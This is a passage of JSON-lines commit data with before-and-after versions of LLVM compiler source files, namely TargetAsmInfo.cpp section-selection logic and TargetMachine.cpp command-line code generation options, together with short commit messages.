HasSingleParameterDotFile = true;\n  UsedDirective = 0;\n  WeakRefDirective = 0;\n  WeakDefDirective = 0;\n  \/\/ FIXME: These are ELFish - move to ELFTAI.\n  HiddenDirective = \"\\t.hidden\\t\";\n  ProtectedDirective = \"\\t.protected\\t\";\n  AbsoluteDebugSectionOffsets = false;\n  AbsoluteEHSectionOffsets = false;\n  HasLEB128 = false;\n  HasDotLocAndDotFile = false;\n  SupportsDebugInformation = false;\n  SupportsExceptionHandling = false;\n  DwarfRequiresFrameSection = true;\n  DwarfUsesInlineInfoSection = false;\n  Is_EHSymbolPrivate = true;\n  GlobalEHDirective = 0;\n  SupportsWeakOmittedEHFrame = true;\n  DwarfSectionOffsetDirective = 0;\n  DwarfAbbrevSection = \".debug_abbrev\";\n  DwarfInfoSection = \".debug_info\";\n  DwarfLineSection = \".debug_line\";\n  DwarfFrameSection = \".debug_frame\";\n  DwarfPubNamesSection = \".debug_pubnames\";\n  DwarfPubTypesSection = \".debug_pubtypes\";\n  DwarfDebugInlineSection = \".debug_inlined\";\n  DwarfStrSection = \".debug_str\";\n  DwarfLocSection = \".debug_loc\";\n  DwarfARangesSection = \".debug_aranges\";\n  DwarfRangesSection = \".debug_ranges\";\n  DwarfMacroInfoSection = \".debug_macinfo\";\n  DwarfEHFrameSection = \".eh_frame\";\n  DwarfExceptionSection = \".gcc_except_table\";\n  AsmTransCBE = 0;\n}\n\nTargetAsmInfo::~TargetAsmInfo() {\n}\n\n\/\/\/ Measure the specified inline asm to determine an approximation of its\n\/\/\/ length.\n\/\/\/ Comments (which run till the next SeparatorChar or newline) do not\n\/\/\/ count as an instruction.\n\/\/\/ Any other non-whitespace text is considered an instruction, with\n\/\/\/ multiple instructions separated by SeparatorChar or newlines.\n\/\/\/ Variable-length instructions are not handled here; this function\n\/\/\/ may be overloaded in the target code to do that.\nunsigned TargetAsmInfo::getInlineAsmLength(const char *Str) const {\n  \/\/ Count the number of instructions in the asm.\n  bool atInsnStart = true;\n  unsigned Length = 0;\n  for (; *Str; ++Str) {\n    if (*Str == '\\n' || *Str == SeparatorChar)\n      atInsnStart = true;\n    if (atInsnStart && !isspace(*Str)) {\n      Length += MaxInstLength;\n      atInsnStart = false;\n    }\n    if (atInsnStart && strncmp(Str, CommentString, strlen(CommentString))==0)\n      atInsnStart = false;\n  }\n\n  return Length;\n}\n\nunsigned TargetAsmInfo::PreferredEHDataFormat(DwarfEncoding::Target Reason,\n                                              bool Global) const {\n  return dwarf::DW_EH_PE_absptr;\n}\n\nstatic bool isSuitableForBSS(const GlobalVariable *GV) {\n  Constant *C = GV->getInitializer();\n  \n  \/\/ Must have zero initializer.\n  if (!C->isNullValue())\n    return false;\n  \n  \/\/ Leave constant zeros in readonly constant sections, so they can be shared.\n  if (GV->isConstant())\n    return false;\n  \n  \/\/ If the global has an explicit section specified, don't put it in BSS.\n  if (!GV->getSection().empty())\n    return false;\n  \n  \/\/ If -nozero-initialized-in-bss is specified, don't ever use BSS.\n  if (NoZerosInBSS)\n    return false;\n  \n  \/\/ Otherwise, put it in BSS!\n  return true;\n}\n\nstatic bool isConstantString(const Constant *C) {\n  \/\/ First check: is we have constant array of i8 terminated with zero\n  const ConstantArray *CVA = dyn_cast<ConstantArray>(C);\n  \/\/ Check, if initializer is a null-terminated string\n  if (CVA && CVA->isCString())\n    return true;\n\n  \/\/ Another possibility: [1 x i8] zeroinitializer\n  if (isa<ConstantAggregateZero>(C))\n    if (const ArrayType *Ty = dyn_cast<ArrayType>(C->getType()))\n      return (Ty->getElementType() == Type::Int8Ty &&\n              Ty->getNumElements() == 1);\n\n  return false;\n}\n\nstatic SectionKind::Kind SectionKindForGlobal(const GlobalValue *GV,\n                                              const TargetMachine &TM) {\n  Reloc::Model ReloModel = TM.getRelocationModel();\n  \n  \/\/ Early exit - functions should be always in text sections.\n  const GlobalVariable *GVar = dyn_cast<GlobalVariable>(GV);\n  if (GVar == 0)\n    return SectionKind::Text;\n\n  \n  \/\/ Handle thread-local data first.\n  if (GVar->isThreadLocal()) {\n    if (isSuitableForBSS(GVar))\n      return SectionKind::ThreadBSS;\n    return SectionKind::ThreadData;\n  }\n\n  \/\/ Variable can be easily put to BSS section.\n  if (isSuitableForBSS(GVar))\n    return SectionKind::BSS;\n\n  Constant *C = GVar->getInitializer();\n  \n  \/\/ If the global is marked constant, we can put it into a mergable section,\n  \/\/ a mergable string section, or general .data if it contains relocations.\n  if (GVar->isConstant()) {\n    \/\/ If the initializer for the global contains something that requires a\n    \/\/ relocation, then we may have to drop this into a wriable data section\n    \/\/ even though it is marked const.\n    switch (C->getRelocationInfo()) {\n    default: llvm_unreachable(\"unknown relocation info kind\");\n    case Constant::NoRelocation:\n      \/\/ If initializer is a null-terminated string, put it in a \"cstring\"\n      \/\/ section if the target has it.\n      if (isConstantString(C))\n        return SectionKind::MergeableCString;\n      \n      \/\/ Otherwise, just drop it into a mergable constant section.  If we have\n      \/\/ a section for this size, use it, otherwise use the arbitrary sized\n      \/\/ mergable section.\n      switch (TM.getTargetData()->getTypeAllocSize(C->getType())) {\n      case 4:  return SectionKind::MergeableConst4;\n      case 8:  return SectionKind::MergeableConst8;\n      case 16: return SectionKind::MergeableConst16;\n      default: return SectionKind::MergeableConst;\n      }\n      \n    case Constant::LocalRelocation:\n      \/\/ In static relocation model, the linker will resolve all addresses, so\n      \/\/ the relocation entries will actually be constants by the time the app\n      \/\/ starts up.  However, we can't put this into a mergable section, because\n      \/\/ the linker doesn't take relocations into consideration when it tries to\n      \/\/ merge entries in the section.\n      if (ReloModel == Reloc::Static)\n        return SectionKind::ReadOnly;\n              \n      \/\/ Otherwise, the dynamic linker needs to fix it up, put it in the\n      \/\/ writable data.rel.local section.\n      return SectionKind::ReadOnlyWithRelLocal;\n              \n    case Constant::GlobalRelocations:\n      \/\/ In static relocation model, the linker will resolve all addresses, so\n      \/\/ the relocation entries will actually be constants by the time the app\n      \/\/ starts up.  However, we can't put this into a mergable section, because\n      \/\/ the linker doesn't take relocations into consideration when it tries to\n      \/\/ merge entries in the section.\n      if (ReloModel == Reloc::Static)\n        return SectionKind::ReadOnly;\n      \n      \/\/ Otherwise, the dynamic linker needs to fix it up, put it in the\n      \/\/ writable data.rel section.\n      return SectionKind::ReadOnlyWithRel;\n    }\n  }\n\n  \/\/ Okay, this isn't a constant.  If the initializer for the global is going\n  \/\/ to require a runtime relocation by the dynamic linker, put it into a more\n  \/\/ specific section to improve startup time of the app.  This coalesces these\n  \/\/ globals together onto fewer pages, improving the locality of the dynamic\n  \/\/ linker.\n  if (ReloModel == Reloc::Static)\n    return SectionKind::DataNoRel;\n\n  switch (C->getRelocationInfo()) {\n  default: llvm_unreachable(\"unknown relocation info kind\");\n  case Constant::NoRelocation:\n    return SectionKind::DataNoRel;\n  case Constant::LocalRelocation:\n    return SectionKind::DataRelLocal;\n  case Constant::GlobalRelocations:\n    return SectionKind::DataRel;\n  }\n}\n\n\/\/\/ SectionForGlobal - This method computes the appropriate section to emit\n\/\/\/ the specified global variable or function definition.  This should not\n\/\/\/ be passed external (or available externally) globals.\nconst Section *TargetAsmInfo::SectionForGlobal(const GlobalValue *GV) const {\n  assert(!GV->isDeclaration() && !GV->hasAvailableExternallyLinkage() &&\n         \"Can only be used for global definitions\");\n  \n  SectionKind::Kind GVKind = SectionKindForGlobal(GV, TM);\n  \n  SectionKind Kind = SectionKind::get(GVKind, GV->isWeakForLinker(),\n                                      GV->hasSection());\n\n\n  \/\/ Select section name.\n  if (GV->hasSection()) {\n    \/\/ If the target has special section hacks for specifically named globals,\n    \/\/ return them now.\n    if (const Section *TS = getSpecialCasedSectionGlobals(GV, Kind))\n      return TS;\n    \n    \/\/ If the target has magic semantics for certain section names, make sure to\n    \/\/ pick up the flags.  This allows the user to write things with attribute\n    \/\/ section and still get the appropriate section flags printed.\n    GVKind = getKindForNamedSection(GV->getSection().c_str(), GVKind);\n    \n    return getOrCreateSection(GV->getSection().c_str(), false, GVKind);\n  }\n\n  \/\/ If this global is linkonce\/weak and the target handles this by emitting it\n  \/\/ into a 'uniqued' section name, create and return the section now.\n  if (Kind.isWeak()) {\n    if (const char *Prefix = getSectionPrefixForUniqueGlobal(Kind)) {\n      \/\/ FIXME: Use mangler interface (PR4584).\n      std::string Name = Prefix+GV->getNameStr();\n      return getOrCreateSection(Name.c_str(), false, GVKind);\n    }\n  }\n  \n  \/\/ Use default section depending on the 'type' of global\n  return SelectSectionForGlobal(GV, Kind);\n}\n\n\/\/ Lame default implementation. Calculate the section name for global.\nconst Section*\nTargetAsmInfo::SelectSectionForGlobal(const GlobalValue *GV,\n                                      SectionKind Kind) const {\n  assert(!Kind.isThreadLocal() && \"Doesn't support TLS\");\n  \n  if (Kind.isText())\n    return getTextSection();\n  \n  if (Kind.isBSS())\n    if (const Section *S = getBSSSection_())\n      return S;\n  \n  if (Kind.isReadOnly())\n    if (const Section *S = getReadOnlySection())\n      return S;\n\n  return getDataSection();\n}\n\n\/\/\/ getSectionForMergableConstant - Given a mergable constant with the\n\/\/\/ specified size and relocation information, return a section that it\n\/\/\/ should be placed in.\nconst Section *\nTargetAsmInfo::getSectionForMergeableConstant(SectionKind Kind) const {\n  if (Kind.isReadOnly())\n    if (const Section *S = getReadOnlySection())\n      return S;\n  \n  return getDataSection();\n}\n\n\nconst Section *TargetAsmInfo::getOrCreateSection(const char *Name,\n                                                 bool isDirective,\n                                                 SectionKind::Kind Kind) const {\n  Section &S = Sections[Name];\n\n  \/\/ This is newly-created section, set it up properly.\n  if (S.Name.empty()) {\n    S.Kind = SectionKind::get(Kind, false \/*weak*\/, !isDirective);\n    S.Name = Name;\n  }\n\n  return &S;\n}\n\nunsigned TargetAsmInfo::getULEB128Size(unsigned Value) {\n  unsigned Size = 0;\n  do {\n    Value >>= 7;\n    Size += sizeof(int8_t);\n  } while (Value);\n  return Size;\n}\n\nunsigned TargetAsmInfo::getSLEB128Size(int Value) {\n  unsigned Size = 0;\n  int Sign = Value >> (8 * sizeof(Value) - 1);\n  bool IsMore;\n\n  do {\n    unsigned Byte = Value & 0x7f;\n    Value >>= 7;\n    IsMore = Value != Sign || ((Byte ^ Sign) & 0x40) != 0;\n    Size += sizeof(int8_t);\n  } while (IsMore);\n  return Size;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===-- TargetMachine.cpp - General Target Information ---------------------==\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file describes the general parts of a Target machine.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Target\/TargetMachine.h\"\n#include \"llvm\/Type.h\"\n#include \"llvm\/CodeGen\/IntrinsicLowering.h\"\n#include \"llvm\/Support\/CommandLine.h\"\nusing namespace llvm;\n\n\/\/---------------------------------------------------------------------------\n\/\/ Command-line options that tend to be useful on more than one back-end.\n\/\/\n\nnamespace llvm {\n  bool PrintMachineCode;\n  bool NoFramePointerElim;\n  bool NoExcessFPPrecision;\n  int  PatternISelTriState;\n  bool UnsafeFPMath;\n};\nnamespace {\n  cl::opt<bool, true> PrintCode(\"print-machineinstrs\",\n    cl::desc(\"Print generated machine code\"),\n    cl::location(PrintMachineCode), cl::init(false));\n\n  cl::opt<bool, true>\n    DisableFPElim(\"disable-fp-elim\",\n                  cl::desc(\"Disable frame pointer elimination optimization\"),\n                  cl::location(NoFramePointerElim),\n                  cl::init(false));\n  cl::opt<bool, true>\n  DisableExcessPrecision(\"disable-excess-fp-precision\",\n               cl::desc(\"Disable optimizations that may increase FP precision\"),\n               cl::location(NoExcessFPPrecision),\n               cl::init(false));\n  cl::opt<int, true> PatternISel(\"enable-pattern-isel\",\n                    cl::desc(\"sets the pattern ISel off(0), on(1), default(2)\"),\n                    cl::location(PatternISelTriState),\n                    cl::init(2));\n  cl::opt<bool, true>\n  EnableUnsafeFPMath(\"enable-unsafe-fp-math\",\n               cl::desc(\"Enable optimizations that may decrease FP precision\"),\n               cl::location(UnsafeFPMath),\n               cl::init(false));\n};\n\n\/\/---------------------------------------------------------------------------\n\/\/ TargetMachine Class\n\/\/\nTargetMachine::TargetMachine(const std::string &name, IntrinsicLowering *il,\n                             bool LittleEndian,\n                             unsigned char PtrSize, unsigned char PtrAl,\n                             unsigned char DoubleAl, unsigned char FloatAl,\n                             unsigned char LongAl, unsigned char IntAl,\n                             unsigned char ShortAl, unsigned char ByteAl,\n                             unsigned char BoolAl)\n  : Name(name), DataLayout(name, LittleEndian,\n                           PtrSize, PtrAl, DoubleAl, FloatAl, LongAl,\n                           IntAl, ShortAl, ByteAl, BoolAl) {\n  IL = il ? il : new DefaultIntrinsicLowering();\n}\n\nTargetMachine::TargetMachine(const std::string &name, IntrinsicLowering *il,\n                             const TargetData &TD)\n  : Name(name), DataLayout(TD) {\n  IL = il ? il : new DefaultIntrinsicLowering();\n}\n\nTargetMachine::TargetMachine(const std::string &name, IntrinsicLowering *il,\n                             const Module &M)\n  : Name(name), DataLayout(name, &M) {\n  IL = il ? il : new DefaultIntrinsicLowering();\n}\n\nTargetMachine::~TargetMachine() {\n  delete IL;\n}\n\n<commit_msg>capitalize<commit_after>\/\/===-- TargetMachine.cpp - General Target Information ---------------------==\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file describes the general parts of a Target machine.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Target\/TargetMachine.h\"\n#include \"llvm\/Type.h\"\n#include \"llvm\/CodeGen\/IntrinsicLowering.h\"\n#include \"llvm\/Support\/CommandLine.h\"\nusing namespace llvm;\n\n\/\/---------------------------------------------------------------------------\n\/\/ Command-line options that tend to be useful on more than one back-end.\n\/\/\n\nnamespace llvm {\n  bool PrintMachineCode;\n  bool NoFramePointerElim;\n  bool NoExcessFPPrecision;\n  int  PatternISelTriState;\n  bool UnsafeFPMath;\n};\nnamespace {\n  cl::opt<bool, true> PrintCode(\"print-machineinstrs\",\n    cl::desc(\"Print generated machine code\"),\n    cl::location(PrintMachineCode), cl::init(false));\n\n  cl::opt<bool, true>\n    DisableFPElim(\"disable-fp-elim\",\n                  cl::desc(\"Disable frame pointer elimination optimization\"),\n                  cl::location(NoFramePointerElim),\n                  cl::init(false));\n  cl::opt<bool, true>\n  DisableExcessPrecision(\"disable-excess-fp-precision\",\n               cl::desc(\"Disable optimizations that may increase FP precision\"),\n               cl::location(NoExcessFPPrecision),\n               cl::init(false));\n  cl::opt<int, true> PatternISel(\"enable-pattern-isel\",\n                    cl::desc(\"Turn the pattern ISel off(0), on(1), default(2)\"),\n                    cl::location(PatternISelTriState),\n                    cl::init(2));\n  cl::opt<bool, true>\n  EnableUnsafeFPMath(\"enable-unsafe-fp-math\",\n               cl::desc(\"Enable optimizations that may decrease FP precision\"),\n               cl::location(UnsafeFPMath),\n               cl::init(false));\n};\n\n\/\/---------------------------------------------------------------------------\n\/\/ TargetMachine Class\n\/\/\nTargetMachine::TargetMachine(const std::string &name, IntrinsicLowering *il,\n                             bool LittleEndian,\n                             unsigned char PtrSize, unsigned char PtrAl,\n                             unsigned char DoubleAl, unsigned char FloatAl,\n                             unsigned char LongAl, unsigned char IntAl,\n                             unsigned char ShortAl, unsigned char ByteAl,\n                             unsigned char BoolAl)\n  : Name(name), DataLayout(name, LittleEndian,\n                           PtrSize, PtrAl, DoubleAl, FloatAl, LongAl,\n                           IntAl, ShortAl, ByteAl, BoolAl) {\n  IL = il ? il : new DefaultIntrinsicLowering();\n}\n\nTargetMachine::TargetMachine(const std::string &name, IntrinsicLowering *il,\n                             const TargetData &TD)\n  : Name(name), DataLayout(TD) {\n  IL = il ? il : new DefaultIntrinsicLowering();\n}\n\nTargetMachine::TargetMachine(const std::string &name, IntrinsicLowering *il,\n                             const Module &M)\n  : Name(name), DataLayout(name, &M) {\n  IL = il ? il : new DefaultIntrinsicLowering();\n}\n\nTargetMachine::~TargetMachine() {\n  delete IL;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/===-- TargetMachine.cpp - General Target Information ---------------------==\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file describes the general parts of a Target machine.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/MC\/MCAsmInfo.h\"\n#include \"llvm\/Target\/TargetMachine.h\"\n#include \"llvm\/Target\/TargetOptions.h\"\n#include \"llvm\/Support\/CommandLine.h\"\nusing namespace llvm;\n\n\/\/---------------------------------------------------------------------------\n\/\/ Command-line options that tend to be useful on more than one back-end.\n\/\/\n\nnamespace llvm {\n  bool LessPreciseFPMADOption;\n  bool PrintMachineCode;\n  bool NoFramePointerElim;\n  bool NoExcessFPPrecision;\n  bool UnsafeFPMath;\n  bool FiniteOnlyFPMathOption;\n  bool HonorSignDependentRoundingFPMathOption;\n  bool UseSoftFloat;\n  FloatABI::ABIType FloatABIType;\n  bool NoImplicitFloat;\n  bool NoZerosInBSS;\n  bool DwarfExceptionHandling;\n  bool SjLjExceptionHandling;\n  bool JITEmitDebugInfo;\n  bool JITEmitDebugInfoToDisk;\n  bool UnwindTablesMandatory;\n  Reloc::Model RelocationModel;\n  CodeModel::Model CMModel;\n  bool PerformTailCallOpt;\n  unsigned StackAlignment;\n  bool RealignStack;\n  bool DisableJumpTables;\n  bool StrongPHIElim;\n  bool AsmVerbosityDefault(false);\n}\n\nstatic cl::opt<bool, true>\nPrintCode(\"print-machineinstrs\",\n  cl::desc(\"Print generated machine code\"),\n  cl::location(PrintMachineCode), cl::init(false));\nstatic cl::opt<bool, true>\nDisableFPElim(\"disable-fp-elim\",\n  cl::desc(\"Disable frame pointer elimination optimization\"),\n  cl::location(NoFramePointerElim),\n  cl::init(false));\nstatic cl::opt<bool, true>\nDisableExcessPrecision(\"disable-excess-fp-precision\",\n  cl::desc(\"Disable optimizations that may increase FP precision\"),\n  cl::location(NoExcessFPPrecision),\n  cl::init(false));\nstatic cl::opt<bool, true>\nEnableFPMAD(\"enable-fp-mad\",\n  cl::desc(\"Enable less precise MAD instructions to be generated\"),\n  cl::location(LessPreciseFPMADOption),\n  cl::init(false));\nstatic cl::opt<bool, true>\nEnableUnsafeFPMath(\"enable-unsafe-fp-math\",\n  cl::desc(\"Enable optimizations that may decrease FP precision\"),\n  cl::location(UnsafeFPMath),\n  cl::init(false));\nstatic cl::opt<bool, true>\nEnableFiniteOnlyFPMath(\"enable-finite-only-fp-math\",\n  cl::desc(\"Enable optimizations that assumes non- NaNs \/ +-Infs\"),\n  cl::location(FiniteOnlyFPMathOption),\n  cl::init(false));\nstatic cl::opt<bool, true>\nEnableHonorSignDependentRoundingFPMath(\"enable-sign-dependent-rounding-fp-math\",\n  cl::Hidden,\n  cl::desc(\"Force codegen to assume rounding mode can change dynamically\"),\n  cl::location(HonorSignDependentRoundingFPMathOption),\n  cl::init(false));\nstatic cl::opt<bool, true>\nGenerateSoftFloatCalls(\"soft-float\",\n  cl::desc(\"Generate software floating point library calls\"),\n  cl::location(UseSoftFloat),\n  cl::init(false));\nstatic cl::opt<llvm::FloatABI::ABIType, true>\nFloatABIForCalls(\"float-abi\",\n  cl::desc(\"Choose float ABI type\"),\n  cl::location(FloatABIType),\n  cl::init(FloatABI::Default),\n  cl::values(\n    clEnumValN(FloatABI::Default, \"default\",\n               \"Target default float ABI type\"),\n    clEnumValN(FloatABI::Soft, \"soft\",\n               \"Soft float ABI (implied by -soft-float)\"),\n    clEnumValN(FloatABI::Hard, \"hard\",\n               \"Hard float ABI (uses FP registers)\"),\n    clEnumValEnd));\nstatic cl::opt<bool, true>\nDontPlaceZerosInBSS(\"nozero-initialized-in-bss\",\n  cl::desc(\"Don't place zero-initialized symbols into bss section\"),\n  cl::location(NoZerosInBSS),\n  cl::init(false));\nstatic cl::opt<bool, true>\nEnableDwarfExceptionHandling(\"enable-eh\",\n  cl::desc(\"Emit DWARF exception handling (default if target supports)\"),\n  cl::location(DwarfExceptionHandling),\n  cl::init(false));\nstatic cl::opt<bool, true>\nEnableSjLjExceptionHandling(\"enable-sjlj-eh\",\n  cl::desc(\"Emit SJLJ exception handling (default if target supports)\"),\n  cl::location(SjLjExceptionHandling),\n  cl::init(false));\n\/\/ In debug builds, make this default to true.\n#ifdef NDEBUG\n#define EMIT_DEBUG false\n#else\n#define EMIT_DEBUG true\n#endif\nstatic cl::opt<bool, true>\nEmitJitDebugInfo(\"jit-emit-debug\",\n  cl::desc(\"Emit debug information to debugger\"),\n  cl::location(JITEmitDebugInfo),\n  cl::init(EMIT_DEBUG));\n#undef EMIT_DEBUG\nstatic cl::opt<bool, true>\nEmitJitDebugInfoToDisk(\"jit-emit-debug-to-disk\",\n  cl::Hidden,\n  cl::desc(\"Emit debug info objfiles to disk\"),\n  cl::location(JITEmitDebugInfoToDisk),\n  cl::init(false));\nstatic cl::opt<bool, true>\nEnableUnwindTables(\"unwind-tables\",\n  cl::desc(\"Generate unwinding tables for all functions\"),\n  cl::location(UnwindTablesMandatory),\n  cl::init(false));\n\nstatic cl::opt<llvm::Reloc::Model, true>\nDefRelocationModel(\"relocation-model\",\n  cl::desc(\"Choose relocation model\"),\n  cl::location(RelocationModel),\n  cl::init(Reloc::Default),\n  cl::values(\n    clEnumValN(Reloc::Default, \"default\",\n               \"Target default relocation model\"),\n    clEnumValN(Reloc::Static, \"static\",\n               \"Non-relocatable code\"),\n    clEnumValN(Reloc::PIC_, \"pic\",\n               \"Fully relocatable, position independent code\"),\n    clEnumValN(Reloc::DynamicNoPIC, \"dynamic-no-pic\",\n               \"Relocatable external references, non-relocatable code\"),\n    clEnumValEnd));\nstatic cl::opt<llvm::CodeModel::Model, true>\nDefCodeModel(\"code-model\",\n  cl::desc(\"Choose code model\"),\n  cl::location(CMModel),\n  cl::init(CodeModel::Default),\n  cl::values(\n    clEnumValN(CodeModel::Default, \"default\",\n               \"Target default code model\"),\n    clEnumValN(CodeModel::Small, \"small\",\n               \"Small code model\"),\n    clEnumValN(CodeModel::Kernel, \"kernel\",\n               \"Kernel code model\"),\n    clEnumValN(CodeModel::Medium, \"medium\",\n               \"Medium code model\"),\n    clEnumValN(CodeModel::Large, \"large\",\n               \"Large code model\"),\n    clEnumValEnd));\nstatic cl::opt<bool, true>\nEnablePerformTailCallOpt(\"tailcallopt\",\n  cl::desc(\"Turn on tail call optimization.\"),\n  cl::location(PerformTailCallOpt),\n  cl::init(false));\nstatic cl::opt<unsigned, true>\nOverrideStackAlignment(\"stack-alignment\",\n  cl::desc(\"Override default stack alignment\"),\n  cl::location(StackAlignment),\n  cl::init(0));\nstatic cl::opt<bool, true>\nEnableRealignStack(\"realign-stack\",\n  cl::desc(\"Realign stack if needed\"),\n  cl::location(RealignStack),\n  cl::init(true));\nstatic cl::opt<bool, true>\nDisableSwitchTables(cl::Hidden, \"disable-jump-tables\", \n  cl::desc(\"Do not generate jump tables.\"),\n  cl::location(DisableJumpTables),\n  cl::init(false));\nstatic cl::opt<bool, true>\nEnableStrongPHIElim(cl::Hidden, \"strong-phi-elim\",\n  cl::desc(\"Use strong PHI elimination.\"),\n  cl::location(StrongPHIElim),\n  cl::init(false));\n\n\/\/---------------------------------------------------------------------------\n\/\/ TargetMachine Class\n\/\/\n\nTargetMachine::TargetMachine(const Target &T) \n  : TheTarget(T), AsmInfo(0) {\n  \/\/ Typically it will be subtargets that will adjust FloatABIType from Default\n  \/\/ to Soft or Hard.\n  if (UseSoftFloat)\n    FloatABIType = FloatABI::Soft;\n}\n\nTargetMachine::~TargetMachine() {\n  delete AsmInfo;\n}\n\n\/\/\/ getRelocationModel - Returns the code generation relocation model. The\n\/\/\/ choices are static, PIC, and dynamic-no-pic, and target default.\nReloc::Model TargetMachine::getRelocationModel() {\n  return RelocationModel;\n}\n\n\/\/\/ setRelocationModel - Sets the code generation relocation model.\nvoid TargetMachine::setRelocationModel(Reloc::Model Model) {\n  RelocationModel = Model;\n}\n\n\/\/\/ getCodeModel - Returns the code model. The choices are small, kernel,\n\/\/\/ medium, large, and target default.\nCodeModel::Model TargetMachine::getCodeModel() {\n  return CMModel;\n}\n\n\/\/\/ setCodeModel - Sets the code model.\nvoid TargetMachine::setCodeModel(CodeModel::Model Model) {\n  CMModel = Model;\n}\n\nbool TargetMachine::getAsmVerbosityDefault() {\n  return AsmVerbosityDefault;\n}\n\nvoid TargetMachine::setAsmVerbosityDefault(bool V) {\n  AsmVerbosityDefault = V;\n}\n\nnamespace llvm {\n  \/\/\/ LessPreciseFPMAD - This flag return true when -enable-fp-mad option\n  \/\/\/ is specified on the command line.  When this flag is off(default), the\n  \/\/\/ code generator is not allowed to generate mad (multiply add) if the\n  \/\/\/ result is \"less precise\" than doing those operations individually.\n  bool LessPreciseFPMAD() { return UnsafeFPMath || LessPreciseFPMADOption; }\n\n  \/\/\/ FiniteOnlyFPMath - This returns true when the -enable-finite-only-fp-math\n  \/\/\/ option is specified on the command line. If this returns false (default),\n  \/\/\/ the code generator is not allowed to assume that FP arithmetic arguments\n  \/\/\/ and results are never NaNs or +-Infs.\n  bool FiniteOnlyFPMath() { return UnsafeFPMath || FiniteOnlyFPMathOption; }\n  \n  \/\/\/ HonorSignDependentRoundingFPMath - Return true if the codegen must assume\n  \/\/\/ that the rounding mode of the FPU can change from its default.\n  bool HonorSignDependentRoundingFPMath() {\n    return !UnsafeFPMath && HonorSignDependentRoundingFPMathOption;\n  }\n}\n<commit_msg>Clarify what -tailcallopt option actually do.<commit_after>\/\/===-- TargetMachine.cpp - General Target Information ---------------------==\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file describes the general parts of a Target machine.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/MC\/MCAsmInfo.h\"\n#include \"llvm\/Target\/TargetMachine.h\"\n#include \"llvm\/Target\/TargetOptions.h\"\n#include \"llvm\/Support\/CommandLine.h\"\nusing namespace llvm;\n\n\/\/---------------------------------------------------------------------------\n\/\/ Command-line options that tend to be useful on more than one back-end.\n\/\/\n\nnamespace llvm {\n  bool LessPreciseFPMADOption;\n  bool PrintMachineCode;\n  bool NoFramePointerElim;\n  bool NoExcessFPPrecision;\n  bool UnsafeFPMath;\n  bool FiniteOnlyFPMathOption;\n  bool HonorSignDependentRoundingFPMathOption;\n  bool UseSoftFloat;\n  FloatABI::ABIType FloatABIType;\n  bool NoImplicitFloat;\n  bool NoZerosInBSS;\n  bool DwarfExceptionHandling;\n  bool SjLjExceptionHandling;\n  bool JITEmitDebugInfo;\n  bool JITEmitDebugInfoToDisk;\n  bool UnwindTablesMandatory;\n  Reloc::Model RelocationModel;\n  CodeModel::Model CMModel;\n  bool PerformTailCallOpt;\n  unsigned StackAlignment;\n  bool RealignStack;\n  bool DisableJumpTables;\n  bool StrongPHIElim;\n  bool AsmVerbosityDefault(false);\n}\n\nstatic cl::opt<bool, true>\nPrintCode(\"print-machineinstrs\",\n  cl::desc(\"Print generated machine code\"),\n  cl::location(PrintMachineCode), cl::init(false));\nstatic cl::opt<bool, true>\nDisableFPElim(\"disable-fp-elim\",\n  cl::desc(\"Disable frame pointer elimination optimization\"),\n  cl::location(NoFramePointerElim),\n  cl::init(false));\nstatic cl::opt<bool, true>\nDisableExcessPrecision(\"disable-excess-fp-precision\",\n  cl::desc(\"Disable optimizations that may increase FP precision\"),\n  cl::location(NoExcessFPPrecision),\n  cl::init(false));\nstatic cl::opt<bool, true>\nEnableFPMAD(\"enable-fp-mad\",\n  cl::desc(\"Enable less precise MAD instructions to be generated\"),\n  cl::location(LessPreciseFPMADOption),\n  cl::init(false));\nstatic cl::opt<bool, true>\nEnableUnsafeFPMath(\"enable-unsafe-fp-math\",\n  cl::desc(\"Enable optimizations that may decrease FP precision\"),\n  cl::location(UnsafeFPMath),\n  cl::init(false));\nstatic cl::opt<bool, true>\nEnableFiniteOnlyFPMath(\"enable-finite-only-fp-math\",\n  cl::desc(\"Enable optimizations that assumes non- NaNs \/ +-Infs\"),\n  cl::location(FiniteOnlyFPMathOption),\n  cl::init(false));\nstatic cl::opt<bool, true>\nEnableHonorSignDependentRoundingFPMath(\"enable-sign-dependent-rounding-fp-math\",\n  cl::Hidden,\n  cl::desc(\"Force codegen to assume rounding mode can change dynamically\"),\n  cl::location(HonorSignDependentRoundingFPMathOption),\n  cl::init(false));\nstatic cl::opt<bool, true>\nGenerateSoftFloatCalls(\"soft-float\",\n  cl::desc(\"Generate software floating point library calls\"),\n  cl::location(UseSoftFloat),\n  cl::init(false));\nstatic cl::opt<llvm::FloatABI::ABIType, true>\nFloatABIForCalls(\"float-abi\",\n  cl::desc(\"Choose float ABI type\"),\n  cl::location(FloatABIType),\n  cl::init(FloatABI::Default),\n  cl::values(\n    clEnumValN(FloatABI::Default, \"default\",\n               \"Target default float ABI type\"),\n    clEnumValN(FloatABI::Soft, \"soft\",\n               \"Soft float ABI (implied by -soft-float)\"),\n    clEnumValN(FloatABI::Hard, \"hard\",\n               \"Hard float ABI (uses FP registers)\"),\n    